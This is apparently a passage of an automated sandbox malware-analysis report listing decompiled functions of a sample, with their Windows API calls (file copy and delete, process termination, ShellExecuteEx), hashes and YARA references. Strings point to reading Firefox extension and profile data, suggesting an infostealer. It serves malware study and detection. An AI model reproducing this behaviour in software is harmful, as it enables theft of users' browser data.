Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 4f314794acc433d264edb91db9a4cba44b198df7345ecddf4fe998b3cfc938e1
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 4f314794acc433d264edb91db9a4cba44b198df7345ecddf4fe998b3cfc938e1
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 023F6897 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 023F68CA

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

ShellExecuteEx.SHELL32(0000003C), ref: 023F698D
ExitProcess.KERNEL32 ref: 023F69BC

Strings

<, xrefs: 023F6940

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction ID: c5bd38b66703aed79f5e45de6c059f9815f4d35de06aa18275ebe51afb892ad2
Opcode Fuzzy Hash: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction Fuzzy Hash: 67314BB5901218ABDB68EF90ED95FDEB77AAF04300F404199E309A6190DF746B88CF59

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5c242e9f6f242afdfd3d50008aa43d31dcc14585de71cbfc0ed53ce080c09176
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
Opcode Fuzzy Hash: 5c242e9f6f242afdfd3d50008aa43d31dcc14585de71cbfc0ed53ce080c09176
Instruction Fuzzy Hash: 7F314AB1C01208ABDB14EB91DD82FDEB778AF04314F40518EF20966191DF786B89CF6A

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A929
vI@, xrefs: 0041A937

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: 944da6e453fcb66f0d11250dd24ec57f51aa285ffba2b214b4798455d692dd31
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: 944da6e453fcb66f0d11250dd24ec57f51aa285ffba2b214b4798455d692dd31
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 023EA4C7 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 023EA548
lstrlen.KERNEL32(00000000,00000000), ref: 023EA666
lstrlen.KERNEL32(00000000), ref: 023EA923

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023EA077: memcmp.MSVCRT(?,00421264,00000003), ref: 023EA094

DeleteFileA.KERNEL32(00000000), ref: 023EA9AA

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction ID: 008bdcc57ce16def99ebd9a79b8e6b435487d6638afdd27021f45468c6d7a3c7
Opcode Fuzzy Hash: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction Fuzzy Hash: 31E1C4729102189BCB65FBA4ED91DEE733AAF54300F508159E65AB21A0DF346F4CCF61

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: d20ad723e4956a4f5593e547689fc6f06bc1426b2961df15eb96e4f5265ec8e9
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: d20ad723e4956a4f5593e547689fc6f06bc1426b2961df15eb96e4f5265ec8e9
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 023ED667 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 023ED6E8
lstrlen.KERNEL32(00000000), ref: 023ED8FF
lstrlen.KERNEL32(00000000), ref: 023ED913
DeleteFileA.KERNEL32(00000000), ref: 023ED992

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction ID: 7e3a753aaf72c46cd0fb85ba9006c650db25bc59d322e2064bfb66a9fc7ed30a
Opcode Fuzzy Hash: 2bccf2adba0c6573149dfae4533d97fd852c73f86cd25f235fac12d5c73a1e08
Instruction Fuzzy Hash: 2391F4729102189BCF68FBA4ED65DEE733AAF54300F504169E61AB6190EF346B4CCF61

Function 0040D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D481
lstrlenA.KERNEL32(00000000), ref: 0040D698
lstrlenA.KERNEL32(00000000), ref: 0040D6AC
DeleteFileA.KERNEL32(00000000), ref: 0040D72B

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 51504f8183e0b2e6ebec12441f0f26ba584a9b89164c583ff874fdf13874234a
Instruction ID: 265a03a5026cdf5fd4b8160f1a7263b5072f0f83edca8c83d8fca220a3e7f1c0
Opcode Fuzzy Hash: 51504f8183e0b2e6ebec12441f0f26ba584a9b89164c583ff874fdf13874234a
Instruction Fuzzy Hash: 8A9145719111089BCB04FBA1DD92EEE7339AF14318F50452EF50772091EF386A9ACB7A

Function 023ED9E7 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

Part of subcall function 023F8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,023E1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 023F8DED

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 023EDA68
lstrlen.KERNEL32(00000000), ref: 023EDC06
lstrlen.KERNEL32(00000000), ref: 023EDC1A
DeleteFileA.KERNEL32(00000000), ref: 023EDC99

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction ID: 47550437cc259ef4e1be231c3d5188dfb99bb43095da0b75c8f00f365b2190ba
Opcode Fuzzy Hash: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction Fuzzy Hash: 6981E6729502189BCF68FBA4ED64DEE733AAF54300F50456DE60AA6190EF346B4CCF61

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00799AC8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 370323d9a074025678898ae999b6463eb423e9135e59877d35bb5260e336077f
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 370323d9a074025678898ae999b6463eb423e9135e59877d35bb5260e336077f
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: c6d68fb0603da1e25a23b90469779a044771ff029b5026b29d5fc07adc8ee29f
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: c6d68fb0603da1e25a23b90469779a044771ff029b5026b29d5fc07adc8ee29f
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 023F9737 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 023F9752

Part of subcall function 023F8FB7: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,023F9785,00000000), ref: 023F8FC2
Part of subcall function 023F8FB7: RtlAllocateHeap.NTDLL(00000000), ref: 023F8FC9
Part of subcall function 023F8FB7: wsprintfW.USER32 ref: 023F8FDF

OpenProcess.KERNEL32(00001001,00000000,?), ref: 023F9812
TerminateProcess.KERNEL32(00000000,00000000), ref: 023F9830
CloseHandle.KERNEL32(00000000), ref: 023F983D

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 0de5cb3b84569db27d3217fbf1ad12f67d16f90c4b13aa02d8c22dae1f7b6e71
Instruction ID: 9482b4ae95db5e281c0651c7eda416f5438ca1a336aeb56e8f612babaacf649e
Opcode Fuzzy Hash: 0de5cb3b84569db27d3217fbf1ad12f67d16f90c4b13aa02d8c22dae1f7b6e71
Instruction Fuzzy Hash: 3A312875E00348EFDB54DFE4DC48BEDB779EB48300F104459E60AAA284DB74AA88CF51

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 10821a0a9b0e3e9f18d0c0a89dc9fb30756029c80415081bc58457899473f0be
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
